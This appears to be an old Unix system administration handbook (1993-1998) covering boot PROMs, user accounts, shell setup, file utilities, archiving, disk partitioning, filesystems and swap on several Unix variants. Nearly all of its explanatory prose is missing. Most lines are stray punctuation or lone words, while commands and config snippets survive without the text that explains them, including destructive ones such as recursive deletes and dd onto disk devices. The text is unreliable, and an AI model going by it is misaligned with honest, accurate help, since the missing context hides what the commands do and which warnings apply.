&dD Unix&d@
( 1.17. 1998)
(C) Copyright , 1993-1998
================ ===============================
,
.
956-2155, 274-6329, 938-1902
moshkow@ipsun.ras.ru
http://www.ras.ru/~moshkow/
.
&dD UNIX&d@
&dD&d@
()
Unix- ()
()
()
Unix ()
VI ()
Unix ()
find, grep ()
cpio, tar ()
, init ()
Unix ()
()
, ()
Swaping ()
()
: ()
Unix (telnet, ftp, mailx...) ()
Hardware : Ethernet, Token ring, FDDI ()
Hardware ()
TCP/IP () ()
TCP/IP ()
TCP/IP ()
NFS ()
NFS: - ()
DNS ()
UUCP ()
LP ()
Unix - X Windows ()
&dD&d@
VI ()
X Windows ()
SVR4 ()
DNS. standalone ()
Unix ()
()
HTTPD, HTML ()
()
Unix, ()
.
&dD Unix-&d@
( )
, .
.
,
,
Console login:
- :
Login:
login .
, login' root - "" -
.
Console login: root
&dDSUN: &d@
Sun SPARCstation
boot-prom.
STOP+A. (STOP -
).
boot-prom prompt Ok:
Ok _
boot-. ,
:
go - ,
help
boot [] -
eject - "" - CD-ROM
probe-scsi - SCSI-
(
"GO" . .)
"" Sun - ,
- .
- A B. Sun,
,
, ,
( ).
boot- ,
BREAK ( vt220 BREAK -
F5).
- Sun-
- BREAK, Sun
boot-.
Sun-,
.
:
- TTY- "CONSULT-ZSBRK", BREAK.
&dDHP 9000: &d@
HP 9000
boot-prom PDC (Processor Depended code).
-
, .
ESCAPE, - Ctrl-K ( Break,
-)
PDC-prompt
BOOT-ADMIN>
boot-. ,
:
help
search - SCSI-
boot [] -
secure on -
( secure off,
)
"" ,
- .
.
.
&dD &d@
,
"root" -
. . .
.
su # Super User
Unix
. : ,
, , ,
, , .
-
, .
Comment Familiq Imya Otchestwo
logname
passwd ( )
UID User Identification Descriptor
GID Group Identification Descriptor
$HOME
shell
&dD &d@:
/usr/local/bin/bash
/bin/ksh ,
/usr/local/bin/tcsh , ""
/bin/sh ""
/bin/csh ""
/etc/passwd - .
/etc/shadow - .
.
Unix.
Unix ""
( sysadm) - ,
.
.
"" root. "sysadm"
, . :
vt100
.
-:
admintool Solaris 2
adminsuite Solaris 2.7
sysadmsh SCO UNIX 4
scoadmin SCO OpenServer 5
smit, msmit AIX
sam HP-UX
control-panel Linux RedHat
sysadm UnixWare, ISC, SVR4
&dD &d@.
adduser Linux
useradd SunOS 4.1
vipw BSD/OS, FreeBSD
&dD ""&d@.
1. /etc/passwd :
moshkow:x:555:1:Maksim E. Moshkow:/home/moshkow:/bin/ksh
2. /etc/shadow
pwconv
3.
mkdir /home/moshkow
chown moshkow /home/moshkow
4.
passwd moshkow
5. .
.
&dD &d@
&dD &d@
login:
, ,
, . ,
CTRL+U, DEL, CTRL-D ( ),
Return, .
.
sunsite:~/$ _
, exit
Ctrl-D .
&dD &d@.
.
, env.
env #
LOGNAME=moshkow #
HOME=/home/moshkow #
SHELL=/bin/ksh #
MAIL=/usr/mail/moshkow # ,
#
PS1=host1:$PWD/$ #
PATH=:/usr/local/bin:/bin:/usr/bin:/usr/X11/bin:/usr/informix/bin:
# ,
TERM=vt100 # ,
#
,
:
Imya_Pereemennoj=znachenie export Imya_Pereemennoj
abc=Kalosha export abc
echo
:
echo $abc
&dD &d@
/etc/profile
".profile" (
) -
.
env
##### .profile ##################################
#
PATH=:$HOME/bin:$PATH:/usr/sbin:/usr/local/bin:/usr/informix/bin
# ksh
EDITOR=emacs
export PATH EDITOR
LC_CTYPE=iso_8859_1 export LC_CTYPE # - ""
#
# =BackSpace =Ctrl-U
# =Ctrl-C "_"=Ctrl-|
stty erase "^h" echoe kill "^u" quit "^|" intr "^c"
stty cs8 -parenb -istrip
# 8- , noparity, 8-
#
case "$0" in #
*ksh) # Korn Shell
#
alias __A=`echo "\020"` # ^P = 020
alias __B=`echo "\016"` # ^N
alias __C=`echo "\006"` # ^F
alias __D=`echo "\002"` # ^B
# pwd
PS1=$LOGNAME@`uname -n`:'$PWD/$ ' export PS1
;;
*bash) # bash' host:pwd
PS1='\h:\w/\$ ' export PS1
ulimit -Sc 0 # core
;;
*sh) # posix-shell HP-UX
PATH=$PATH:/usr/sbin
PS1=$LOGNAME@`uname -n`:'$PWD/$ '
HISTFILE=$HOME/.sh_history
ENV=$HOME/.kshrc
export PATH ENV HISTFILE PS1
# .kshrc set -o emacs
;;
esac
# : _'_
# - _`_ - , .
&dD &d@
Korn-Shell
/bin/ksh, EDITOR=emacs,
Ctrl-:
^P / ^N PREVIOUS / NEXT
^F / ^B FORWARD / BACK
^A / ^E /
^D / ^K /
^Y
^R
ESC ESC
ESC =
bash,
TAB
&dD &d@
, ,
root ,
cd /
shutdown -y -g0 -i0
.
shutdown -y -g0 -i6
sysadm.
Unix ( , BSD, SunOS,
Linux, HP-UX) shutdown .
:
shutdown -y -h now #
shutdown -y -r 60 # 60
.
&dD Unix ( )&d@
1.1. Unix ,
.
1.2. - ,
.
Unix . Unix
unerase, .
Unix .
.
1.3.
"/". ( , MSDOS
Unix , "\" - -
.)
- ,
.
.
256 .
1024 .
1.4. "*"
( ) "?" (
). "."
, ".." - (
).
1.5. ,
, ,
. - ,
.
. (
) "-".
- - ... ...
1.6. &,
(). ,
.
, .
- ... &
1.7.
- - ,
. ,
.
. ,
,
, :
> _
( ),
< _
( ),
2> _
( - ).
- :
ls > infdir
,
(
, ),
.
,
>>
2>>
1.8. Unix ,
.
1.9.
, .
TERM=vt220
HOME=/home/moshkow
PATH=:/bin/:dss/rk:/home/moshkow/bin
1.8.
. "|" - .
:
/tmp,
"text" ...
cat /tmp/text* | wc -c
# cat /tmp/text*,
# wc -c -l
# .
:
ps -ef | more
:
ps -ef > temp-file
more temp-file
rm temp-file
&dD2. &d@.
pwd -
cd -
ls -
cat - -
cp -
mv - ()
ln -
rm -
rmdir -
mkdir -
echo -
ps -
kill - ""
man -
&dD2.1 pwd &d@.
pwd
&dD2.2 cd &d@.
cd [ ]
cd /usr/spool/lp/adm
cd ..
, ""
$HOME
&dD2.3 ls &d@.
: ls [] []
- ;
, -
.
.
ls .
ls -al - :
()
-rwxr-xr-x 1 moshkow sys 17 Oct 18 16:13 ../jean
drwxr-xr-x 1 moshkow sys 12 Oct 18 16:11 ../jelly
-rwxr-xr-x 1 moshkow sys 0 Oct 13 14:14 ../j.bu.txt
^^ ^ ^
|| | |
|| | +----- ""
|| +--------
|+----------- ""
+------------ "-" - , "d" -
:
r - ,
w - ,
x - ,
- - .
-a - ( );
-x - 4 ;
-t - ,
-R -
ls -CF -
ls -al -
&dD2.4 cat &d@.
: cat 1 [2... ]
Cat .
:
cat
,
cat 1 2 > 3
.
1 2,
cat 1 >> 2
&dD2.5 more, pg &d@.
more file_name ...
pg file_name ...
less file_name ...
,
. .
"less", "" - "pg"
q -
-
ENTER -
b -
/ -
h - Help -
more,less,pg , ""
, " "
ls -al | more -
ps -e | pg -
&dD2.6 cp &d@.
: cp 1 2
cp 1 [2 ...]
1, ... , . -
, 1 . .
, , ,
.
&dD2.7 mv () &d@.
: mv 1 2
mv 1 [2 ...]
cp, .
-
). :
mv /dss/*/rk_*.help /dss/delo
&dD2.8 ln &d@.
: ln 1 2
# ""
ln -s 1 2
# ""
1 . 1
2 .
" "
( "-s"), file1
. "2" .
&dD2.9 rm &d@.
: rm [-fri] ...
-i -
-r -
-f - ,
rmdir ...
,
rm -r
: , ".*" ".."
# rm -r .*
( unix' , -
SCO )
&dD2.10 mkdir &d@.
mkdir.
: mkdir _ ...
&dD2.11 chmod &d@.
chmod ( ) .
:
chmod u+x file1
chmod a+w file1
&dD2.12 echo &d@.
echo
echo "\017"
Ctrl-O, 017 .
vt220 at386
&dD2.13 &d@.
:
touch primer # primer;
cat > primer # primer
# .
# CTRL+D.
&dD2.14 ps &d@.
, .
ps -
ps -ef - , "" ( SYSV Unix)
ps -ax - , "" ( BSD* Linux)
&dD2.15 kill &d@.
kill
.
1078 ( ps -e)
kill -9 1078
,
, CTRL-C, CTRL-\
&dD2.16 man , &d@.
,
.
:
man ___
man -k _ # , ...
&dD2.17 who &d@.
who - ,
who am i
finger
last | more
id
man -k who - ,
, .
.
&dD "VI"&d@
""
() Unix
( -
) .
, .
"" -
VI.
&dD VI :&d@
1. -
.
.
2. -
.
3. ED
( , ..)
. ?
. . :
vi _
VI .
, :
ESC : q ! Enter
, , :
ESC : w ! Enter
ESC : q Enter
, :
ESC : wq Enter
&dD :&d@
"i"
"A"
"cw"
ESC
CTRL-[
":" ( ED)
&dD :&d@
h,j,k,l , , ,
Ctrl-F
Ctrl-B
, .
,
. (.
" , terminfo, termcap").
i
ESC ,
x
dd
&dD :&d@
o ( )
a
5yy 5
p
P
J
/ Enter -
n
VI .
, , VI
,
- " VI", ,
, ( ), .
EMACS, ,
, .
.
&dD Unix' ?&d@
&dD &d@
Unix -
"", ""
Unix - Unix System Laboratory -
.
- -
Unix'.
System III
System 6
USL <-- --> Berkeley
System 7 BSD 4.0
Unix V 3.1
Unix V 3.2 <------- BSD 4.2
/ BSD 4.3
System V Release 4 /
/ BSD 4.4
SVR4.0 < < ____________________________________
SVR4.1
SVR4.2
USL "" BSD
AT&T,
BSD.
BSD- -
Sun/SunOs SVR4.
, SVR4 ,
, Unix V BSD.
DEC: OSF/1 Alpha AXP -
, BSD
4.3.
&dDUnix' IBM/PC&d@
&dD &d@
BSD/OS 2.0 BSDi/386 . .
SCO Unix
386bsd BSD 4.3
NetBSD 386bsd
FreeBSD 2.1 .
USL, ,
AT&T.
Linux 2.0.30 Unix'.
100 . 1 .
,
, ,
, -.
hardware.
iBCS,
SCO,
, Oracle Informix.
Linux Netware Samba.
MS Windows WABI .
&dD Unix'&d@
UnixWare 2.1 SVR4.2 SCO. Windows Netware.
.
PC.
Novell
SCO,
.
Solaris 2.5 SVR4.0 SunSoft. Sun'. ,
.
5- Solaris Motif.
SCO Unix 4.0 SVR3.2
Unix' PC.
. hardware.
PC.
. .
. .
ISC Unix 3.2 . .
&dDUnix', &d@
""
Sun 1,2,10,... SunOS 4.1.2 BSD 4.3
Sun 10,20,1000 SunOS 5.5 SVR4.0
IBM RS/6000 AIX SV 3.2
HP 9000 HP-UX 10 BSD 4.2 & SV 3.2
Sequent Dynix SV 4.0
Motorola 922 SVR4/88 SVR4.0
-88 Bestix SV 3.1
DEC Ultrix BSD 4.2
DEC Alpha AXP OSF/1 BSD 4.3
SGCS Silicon Graphic IRIX 6.0
, "
" Unix.
- HP-UX 10.20 AIX.
- Solaris 2.5 ().
.
&dD GREP FIND&d@.
grep/egrep
"" - ""
egrep [ file ... ]
(
), - ,
: . * ^ $ [ ]
. -
* - "" ( )
.* -
^ -
$ -
[] - ,
:
egrep ':0:0:' /etc/passwd
:
egrep -v ':0:0:' /etc/passwd
,
a,b,e,d
cat /etc/passwd | grep "^[abed].*"
find.
find ,
-
. ,
- .
find [ ... ] //
- find:
-name "*.c" - *.c
-type f -
-type d -
-size +500 - 500*512
-mtime -3 - 3-
-newer filename - ,
filename
: find SHELL'
. grep ,
.
- find
-print -
-exec {} \;
.
- ,
4 .
find . -type f -mtime -4 -print
*.bu, *%, -
.
find / \( -name "*.bu" -o -name "*%" \) -type f \
-atime +30 -exec rm {} \;
"rm {} \;" - Unix, -
. "{}"
. -
, .
.
&dD. &d@
Unix :
tar ,
cpio , tar, .
&dD tar (Tape Archiver)&d@.
.
: "-c" Create, "-x" eXtract, "-a" Append, "-t"
tar -cvf arhiw.tar fajl1 fajl2 katalog3 ... -
tar -tvf /dev/rmt/ctape
tar -xvf arhiw.tar katalog3/fajl4
tar -xvf /dev/rmt/ctape
tar -avf arhiw.tar fajl5
:
"v" (Verbose)
"f"
&dD CPIO. (Copy In/Out)&d@.
cpio -o
,
.
:
-o - (output) .
-H odc - " " ( -
Besta Sun)
-c - ""
cat spisok | cpio -ovB -H odc > /dev/rmt/ctape1
find katalog -print | cpio -ovc > arhiwnyj-fajl.cpio
cpio -i cpio- -
# .
cpio -itB < /dev/rmt/ctape
# .
cpio -idmvB ["" ...] < /dev/rmt/ctape
-B 5120 - .
-d .
-v .
-m .
-f , .
-u .
-l , , .
&dD &d@.
tar cpio, DOS- ,
. , -
compress gzip.
compress , -
"" .
zcat (" cat":-) "-
" , "" .
tar-:
tar -cvf - emacs-19.28 | compress > emacs-19.28.tar.Z
tar-:
zcat < emacs-19.28.tar.Z | tar -tvf -
"-" , tar
. "
" ( -
).
GNU Zip - ,
, compress, arj pkzip. -
cpio , "" gzip.
find . -print | cpio -ovcaB | gzip > arhiw.gz
cpio-
gunzip < arhiw.gz | cpio -idmv
&dD mt - &d@
.
,
.
, , :
man mt
SCO Unix "tape"
&dD &d@
Unix
.
backup/restore
dump
fbackup/frestore (HP/UX)
pax
. . .
.
&dD &d@
&dD * Boot- * &d@
Boot, bootstrapping - ,
"/, ",
"Pull itself up by its own boot
straps" ( )
Boot-prom'a - ,
.
, boot-prom :
, ,
hardware. -
/unix - .
,
" ",
.
&dDSUN&d@
Boot-prom "BOOT BLOKS" - 1-
. "boot-bloks" 1-15 ,
"/".
0.
"Boot- blocks"
( SCSI-
3) installboot. -
:
installboot /dev/rdsk/c0t3d0s0
Boot-blocks " " unix -
ufs . "/ufsboot"
- 2- - .
/ufsboot /kernel/unix .
Unix .
.
"" ,
, ,
,
.
boot-prompt:
STOP+A
single user:
bo: boot -s
&dDMotorola 922&d@.
Boot-prom - /stand/boot,
/stand/unix
boot-prom
unix' , unix
boot -
/stand. " " bfs
(Boot File System), boot-prom'
.
boot-prompt:
: "Idle MPU: none"
single user:
: "Press _-_to enter system_maintence.
&dDLinux&d@.
BIOS .
LILO (LInux LOader). Lilo
/vmlinuz
/etc/lilo.conf
lilo
Lilo-prompt:
Left_ALT "Lilo ..."
single user:
Lilo: linux root=/dev/hda2 single
single user:
Lilo: linux init=/bin/sh
mount -n -o remount /dev/hda2 /
insmod de4x5
ifconfig eth0 195.232.171.30
route add -net 195.232.171.0 gw 195.232.171.30
insmod nfs
&dDHP-UX&d@
HP 9000 "PDC" - "Processor Dependent Code"
- , ESC
.
Boot- LIF
( ) LIF- 4 ""
ISL - ""
HPUX -
AUTOBOOT - ,
: PDS ISL
bo scsi.6.0 isl
ISL
hpux /stand/vmunix
PDC-prompt:
ESC 10
single user:
PDC> bo pri isl
ISL> hpux -is /stand/vmunix
&dD * init * &d@
init.
init - , ,
.
.
, init-, .
init - " ".
-
. ( ) 0,1,2,3,4,5,6,s,S
0 - prom - ;
1, s, S - single user mode. ;
2 - NFS-;
3 - NFS-;
6 - ;
&dD * /etc/inittab * &d@
bchk::sysinit:/etc/bcheckrc/dev/console 2>&1
brc::sysinit:/etc/brc > /dev/console 2>&1
is:3:initdefault:
rc:12345:wait:/etc/rc > /dev/console 2>&1
r0:0:wait:/etc/rc0 > /dev/console 2>&1
r2:23:wait:/etc/rc2 > /dev/console 2>&1
r3:3:wait:/etc/rc3 > /dev/console 2>&1
pf:12345:powerfail:/etc/powerfail > /dev/console 2>&1
co:12345:respawn:/etc/sysmonitor console console
t1:23:respawn:/etc/sysmonitor tty01 9600
t2:23:off:/etc/sysmonitor tty02 9600
:
:_:_:
: - -
_:
sysinit ;
:
wait - , ;
respawn - , , -
;
off - ( ).
, ,
-
.
init , "sysinit"
"sysinit" , init
/etc/inittab initdefault 3 -
"" 3.
&dD * Run Command - RC- * &d@
3, init
"3" -
/etc/rc2 - . :
/etc/rc2 /etc/rc2.d/S*,
/etc/rc2.d.
"start"
/etc/rc2, init
/etc/rc3.
sysmonitor - .
, : "Login: "
, , ,
"" ,
. init "respawn" -
sysmonitor -
"Login: " .
&dDLinux Slackware&d@
init 5.
/etc/rc.d/rc.S
/etc/rc.d/rc.M
/etc/rc.d/rc.inet1
/etc/rc.d/rc.inet2
/etc/rc.d/rc.local
- , , httpd,
..
&dDLinux RedHat&d@
rc- System V
RC-:
/etc/rc.d/rc[0123456].d/
/etc/rc.d/init.d/
RC-:
/etc/sysconfig/
&dDHP-UX 10.20&d@
BSD- ,
rc- System V
RC-:
/sbin/rc[0123].d/
/sbin/init.d/
RC-:
/etc/rc.defaults.d/
&dDSVR4: SUN, Motorola&d@
rc- System V
RC-:
/etc/rc[0123456].d/
/etc/init.d/
.
&dDUnix, &d@.
Unix. - , /unix
/stand/unix /vmunix /vmlinuz ( -
). -
. -
, .
.
. , , , ,
, ,
.
: ,
-
.
: , -
, ...
. (, MS-DOS "21 ",
/
.) -
, - ,
: ,
, , .. ..
( 1500 ) Unix.
, ,
, jump'
.
.
.
.
. -
.
,
, .
, -
, -
- -
. , ,
.
. Unix .
. .
. (-
) ,
.
, -
.
. ( Windows DLL -
). -
(, printf, )
-
(SHARED LIBRARY). ,
,
. ""
.
:
,
.
SWAPING. Unix-
32- , -
. -
, . -
PAGING' -
" ",
swap- .
SWAPING' Unix' ,
PAGING. (swaping - -
, swap-
).
, , : TEXT
( ), DATA ( -
), STACK ( ).
TEXT',
. . -
, TEXT ,
.
. , -
, . -
: "text file busy",
.
. (sticky bit).
. " -
". ,
( ) , -
. , -
- -
, .
.
&dD Unix&d@.
Unix - "",
. -
. "-
" , .
"". :
mount -F ufs /dev/dsk/m197_c0d0s5 /home1
mount -F ufs /dev/dsk/m197_c0d0s4 /usr
df
""
. MS-DOS - , -
"" ( a: b: c: d: e: ... k: l: m: n:) Unix -
. Unix ,
, , ,
/usr/spool/moshkow /home1/moshkow/bin/mcopy ...
Unix . -
, -
,
.
, .
"", Unix-
.
Unix - -
, -
fsck (File System Check) -
..
&dD Unix&d@.
, ,
.
. 1 Kb.
:
,
.
. . . -
INOD-. 8% .
inode - Index-node - . -
, ,
. inod' :
(, , , )
()
/
,
- ...
. ∐ -
. -
. , .
- .
- :
,
_1 _1
_2 _2
. . .
,
1. , ,
2. _ ,
3. inod inod',
4. inod' , -
,
5. .
.
.
64- - inod'.
inod' :
(// /fifo/socket)
( )
-
, ,
1-
2-
...
10-
( 256 )
2-
( 256 )
3-
( )
.
man fs
.
&dD &d@
Unix -
. -
. (). , ?
"",
. , ,
, , /dev/console - -
. , /dev/console,
.
/dev/console (!) ,
, ,
.
su
echo > /dev/console
cat /dev/console
Ctrl-C
unix-
. ,
:
/dev/contty01 /dev/tty02 /dev/ttyFD02 /dev/ttyS0
( .., )
( ,
, telnet, rlogin)
/dev/pty*, /dev/pty/*
who, who am i ,
.
,
(/dev/rdsk/m197_c0d0s7)
(/dev/dsk/m197_c0d0s*). ,
, ,
...
- , ()
.
/dev/mem - , .
/dev/audio - ""
(*.wav, *.au, ...?) - -
, cat /dev/audio
, . -
, , PC, Silicon
Graphic SPARCstation.
/dev/zero -
/dev/null - , - ,
-
: NULL - null. MSDOS
NUL.
:
- . -
,
.
ls -al /dev/fd*
brw-rw---- 1 root floppy 2, 28 Jul 18 1994 /dev/fd0H1440
brw-rw---- 1 root floppy 2, 32 Jul 18 1994 /dev/fd0H2880
brw-rw---- 1 root floppy 2, 12 Jul 18 1994 /dev/fd0H360
(, , row) -
. , -
, -
.
ls -al /dev/tty*
crw--w--w- 1 moshkow sys 4, 1 Jan 15 22:00 /dev/tty1
crw--w--w- 1 root root 4, 2 Jan 15 20:37 /dev/tty2
crw--w--w- 1 root root 4, 2 Jan 15 20:37 /dev/tty2
- ls -l
"" .
.
. ls
: "" "" -
. , "" -
, "" - -
.
&dD &d@
-
.
.
mknod /dev/filename { c | b } MAJOR MINOR
&dDHP-UX: &d@
/etc/inittab
/sbin/ioinitrc, , ,
,
.
.
ioscan
mksf
insf
&dDSolaris: &d@
boot- -r
STOP+A
ok boot -r -
.
.
&dD, , &d@.
&dD * SCSI * &d@
&dDMOTOROLA: SCSI &d@.
scsiscan - , SCSI
(SCSI-id)
Motorola
922
/sbin/auto-boot,
,
.
&dDSUN: SCSI &d@.
Sun SPARC SCSI-:
BOOT-prom ( Stop+A)
probe-scsi
ok probe-scsi
,
"reconfiguration boot": BOOT-
ok boot -r
&dDLINUX: SCSI &d@.
IBM PC/Linux
. ,
SCSI (if exists) .
,
dmesg
&dDHP-UX&d@
boot , SEA (search)
ioscan
&dD * * &d@
, , (
) .
.
Seagate, ,
http://www.seagate.com
&dDLinux, FreeBDS: &d@
.
&dDMOTOROLA: &d@
""
/etc/dskdefs/. "" ,
, , 1Gb Seagate-ST31 - "msea11200".
: /etc/scsifmt.info
ddefs
. "Template"
"" . ,
, , , .
ddefs -n filename
: , , ...
( ):
Root offset: 648 (.. VTOC 648 )
Slice count: 16 ( 16 )
Interleave: 1 ( "")
Precomp cylinder: {} ( )
Bad spots: 100 ( bad-)
Controller attribute: 850 ( , ,
Attribute: 10 )
Word attribute: 10
ddefs "w" "q" .
ddefs "help"
/etc/scsifmt.info
.
, scsiscan. , :
scsiscan
SEAGATE ST51080N m187_0c0d1 ...
cat >> /etc/scsifmt.info
"SEAGATE" "ST51080N" filename 7 "1GB SCSI"
^D
&dDSUN: &d@
Sun',
/etc/format.dat
&dD * * &d@
"" "
".
. , , :
/dev .
SVR4 :
/dev/rdsk/* -
/dev/dsk/* -
/dev/rmt/* -
/dev/term/* - (dial-in)
/dev/cua/* - (dial-out)
/dev/pts/* -
&dDMOTOROLA: :&d@
controller_cXdYsuffix :
controller -
X -
Y -
suffix - , :
( SCSI )
Motorola 922
/dev/dsk/m197_c0d0s1 SCSI m197 0,
SCSI 0
(slice) 1
/dev/dsk/m328_c0d0s0 SCSI m328 0,
. . . SCSI 0
(slice) 0
()
/dev/rdsk/m328_c0d0s7
/dev/rdsk/m197_c0d1s7 ,
()
/dev/rdsk/m197_c0d0s1
/dev/rdsk/m197_c0d1s2
.
/dev/rmt/ctape1
/dev/rmt/m197_c0d4
CD-ROM.
/dev/rdsk/m197_c0d6s7 - "" ()
/dev/dsk/m197_c0d6s0 - CD-ROM
"" ufs
/dev/dsk/m197_c0d6s7 - CD-ROM
iso9660
&dDSUN:&d@.
() SPARCstation:
8 0 8.
SCSI :
/dev/dsk/c0t2d0s3 Controller 0 ( 0)
Taget 2 (SCSI ID)
Disk 0 (LUN Logical Unit Number
- 0)
Slice 3 ( )
()
/dev/rdsk/c0t3d0s2 -
2
SPARC-
station 3- SCSI .
CD-ROM ()
/dev/dsk/c0t6d0s2 CD 6- SCSI .
- .
.
/dev/rmt/0 1- ( 150)
/dev/rmt/1 2- ( DAT 4)
Sun'.
"reconfiguration boot". boot prom'a:
ok boot -r
&dDLinux:&d@.
4 primary 1 4.
extended -
4 5 8
()
/dev/hda IDE
/dev/hdb IDE
/dev/hdc IDE hd ( CD) - master
/dev/hdc IDE hd ( CD) - slave
/dev/sda SCSI ...
/dev/sda1, /dev/sda2, ... ,8 SCSI
/dev/hdb1, /dev/hdb2, ... ,8 IDE
CD-ROM
/dev/sbpcd,/dev/sonycd, ...
/dev/hdc - IDE CD
/dev/cdrom
.
/dev/rmt1
.
/dev/fd0 - A:
/dev/fd1 - B:
&dDHP-UX&d@
()
/dev/rdsk/c0t6d0 (raw)
/dev/dsk/c0t6d0
HP-UX , LVM -
/dev/vg00/lvol12 char logical volume
/dev/vg00/rlvol12 block logical volume
/dev/rmt/0m
/dev/rmt/0mn
&dD * SCSI * &d@.
SCSI Unix
. bad block'
-
.
&dDMOTOROLA: &d@
- - scsifmt.
(
/dev/rdsk, slice 7). :
scsifmt /dev/rdsk/m197_c0d1s7
scsifmt /dev/rdsk/m328_c1d0s7
: ? 20
. ? Ctrl-C.
ENTER Ctrl-C ? 30 .
" Unix".
scsifmt
, .
scsifmt dinit
, .
dinit .
( ,
-, ) dinit.
dinit [-f] [-q] [-b] filename /dev/rdsk/m187_c0d1s7
-X 9 debug-level
-f
-q ""
-b
-v {0-4} write
man dinit
&dDSUN:&d@
SunOS . ,
.
.
prtvtoc /dev/rdsk/c0t0d0s2
&dDHP-UX&d@
format /dev/rdsk/c0t6d0
&dD * . Partition Table * &d@
&dDLinux: fdisk&d@
partiotion table Linux fdisk.
- ,
.
fdisk /dev/hda # /dev/sdb ...
mke2fs /dev/hda1
# ext2
:
fdisk -p /dev/hda # /dev/sdb ...
&dDSUN: &d@
Sun',
/etc/format.dat
- format,
.
format
Boot-
boot-. installboot dd
installboot /dev/rdsk/c0t3d0s0
dd if=/usr/lib/fs/ufs/bootblk bs=1k skip=1 of=/dev/dsk/c0t3d0s0
&dDSUN: &d@.
newfs /dev/dsk/c0t0d0s7
SUN: .
ufs Unix File System
hsfs High Sierra, ISO 9660, Rock Rige Extension
CD-ROM'
pcfs MS-DOS FAT 3"
nfs Network File System
rfs Remote File System
System V - FS
tmpfs
swap-
lofs Loop Back FS
mount -F nfs localhost:/ /mnt
procfs Process FS - " "
fifofs FIFO FS
fdfs File Descriptors FS
namefs
&dDMOTOROLA: &d@.
Disk Slice Editorom dse.
15 slice' (). 0 6,
8 f. 7 ,
.
dse __ # :
dse /dev/rdsk/m197_c0d0s7
DSE , VI
:
:q!
:wq
h,j,k,l ( -
)
C
dw
dd
cw
:
648 ( ),
VTOC (Volume Table Of Contents).
. SVR4/88 3 - ufs, s5, bfs.
"UFS".
Motorola: .
ufs Unix File System
s5 System V. , -
SV 3.1. ,
bfs Boot File System /stand
" " .
boot unix
cdfs CD File System
CD ROM' ISO 9660
dse
mkfs -
, ,
mkfs, .
dse VTOC,
fmthard. ,
.
fmthard -S file_with_vtoc_description /dev/rmt/m187_c0d1s7
dse.
:
prtvtoc /dev/rdsk/m187_c0d0s7
&dD * * &d@
&dDMOTOROLA: &d@
fstyp __
(.. ,
/stand, /boot )
Unix' "ufs" - Unix File System.
BSD- ,
( 256 ),
, "" inod' (
, )
&dDmkfs - &d@.
# s5 4- , -
# 200 !!! 512-
mkfs -F s5 /dev/rdsk/m328_c2d0s4 400000
# ufs 5-
mkfs -F ufs -o bsize=4096,nsect=36,ntrack=9,free=1 \
/dev/rdsk/m328_c2d0s5
&dDLinux: &d@
mke2fs /dev/hda9
&dDHP-UX: &d@
newfs -F hfs /dev/rvol12
&dDHP-UX: JFS vs HFS&d@
HP-UX :
HFS (High Perfomance) - AKA ufs,
JFS (Journal) AKA Verytas vxfs
0. vxfs - ,
.
, fs __
. " ",
.
&dD:&d@
1. vxfs
.
fs.
. "close
file" - sync inod' ,
ufs.
2. vxfs
-
.
3. inod vxfs- 256 ( 128), (<=96)
inod'
4. vxfs - ,
.
5. vxfs
inod', - vxfs .
.
&dD:&d@
1. vxfs
2. vxfs,
/stand HFS'
&dD Live JFS (AKA OnLine VxFS) Only:&d@
vxfs, ,
, vxfs
:
6. fs .
7. fs (- speed disk) .
8. Snapshot () fs.
- - "" . :
. "" , -
, ,
.
, vxfs ( 2-4 )
cd /hfs ; time tar xf /tmp/big.tar
cd /vxfs ; time tar xf /tmp/big.tar
time cat bigfile bigfile bigfile bigfile bigfile > /vxfs/big
time cat bigfile bigfile bigfile bigfile bigfile > /hfs/big
: vxfs , -
, ,
.
HFS "readonly" ,
/usr - , hfs .
&dDLinux. CDROM&d@
mkisofs -R -o image directory
cd-r cdrecord
&dD * * &d@.
"" , ,
Unix mount. Mount ""
.
" " - , ""
. :
mount -F ufs /dev/dsk/m197_c0d0s8 /home1
, ,
df
, swap -
,
/etc/vfstab .
.
&dDMOTOROLA: CD-ROM&d@.
CDROM' "ufs" - ..
"", cdrom,
, , "read only"
mount -F ufs -r /dev/dsk/m197_c0d6s0 /cdrom
"game'" MSDOS', , CDROM
iso9660, :
mount -F cdfs -o ro /dev/dsk/m197_c0d6s7 /cdrom
( -r -o ro - )
&dD &d@.
umount /home1
&dD * fs * &d@
Sun: tunefs
Linux: tune2fs
HP-UX: fsadm
&dD * Bad- * &d@.
:
(- retrying'a),
"Bad media", "Read failure"... "
-".
bad- - "".
&dD : , -&d@
SCSI bad-.
-, ( ) ,
, , ,
.
&dDMotorola: Bad-&d@
- "Bad
blocks" "Disks and Tapes Managment"
. man ddefs, mvme328, scsi1x7, dinit, ...
ddefs
"Bad spots" .
- dinit
dinit -n dskdeffilename /dev/rdsk/m187_c0d107
-n bad-
dinit -t bad-list dskdeffilename /dev/rdsk/m187_c0d107
-t bad-list bad-
-? dinit
-v 1 - verify with pattern
&dDLinux: Bad-&d@
Linux' fsck "-c"
bad- ( "bad" inode)
# -y yes , -f force checking, -c bad-blocks
e2fsck -c -y -f /dev/hda3
&dD * * &d@
&dDMOTOROLA: GOLD&d@
Motorola 922 gold.
, sysadm.
&dDSUN: sundiag&d@
Sundiag -
Sun
&dDUnix PC&d@
. MSDOS
, .
.
&dD swap&d@
swap
( )
.
swap 1*RAM - 2*RAM ,
X-Windows, 3*RAM.
swap
. ,
swapping. : 20 Mb-
dd if=/dev/zero of=/var/swapfile bs=1k count=20480
swap ,
/etc/fstab - - :
---------------------------------------------------------------
# device mountpoint type flags
/dev/hdb2 none swap sw
---------------------------------------------------------------
&dDMOTOROLA: swap&d@
swap :
swap -a /dev/rdsk/m328_c2d0s0 0 0 #
swap -a /var/swapfile 0 40960 #
# - 512-
&dDLinux: swap&d@
# ,
# partition ID == 82 "Linux-swap"
fdisk /dev/hda
# Swap- Linux __ /dev/
dd if=/dev/zero of=/dev/swapfile bs=1k count=40000
# swap :
mkswap /dev/hda2 40000 ; sync #
swapon /dev/hda2 # swap-
free #
swapoff /dev/swapfile # swap-
/etc/fstab :
---------------------------------------------------------------
/dev/hdb2 none swap sw
---------------------------------------------------------------
&dDHP-UX 10.20: swap&d@
HP-UX SAM.
: swap
"File system swap",
, swap-, "
", .
HP-UX swap- -
swap
Primary-swap ,
/etc/fstab
swapon #
swapinfo #
&dDSUN (Solaris SunOS)&d@
swap -l #
swap -s #
mkfile 40m swap-file # 40
swap -a swap-file # .
/etc/vfstab:
/swap/file - - swap - no -
.
&dD &d@
Unix-
, ,
CD-ROM'.
Unix, Unix-
,
.
&dDMotorola 922. &d@
Unix SVR4/88.
. ,
"Idle MPU: none"
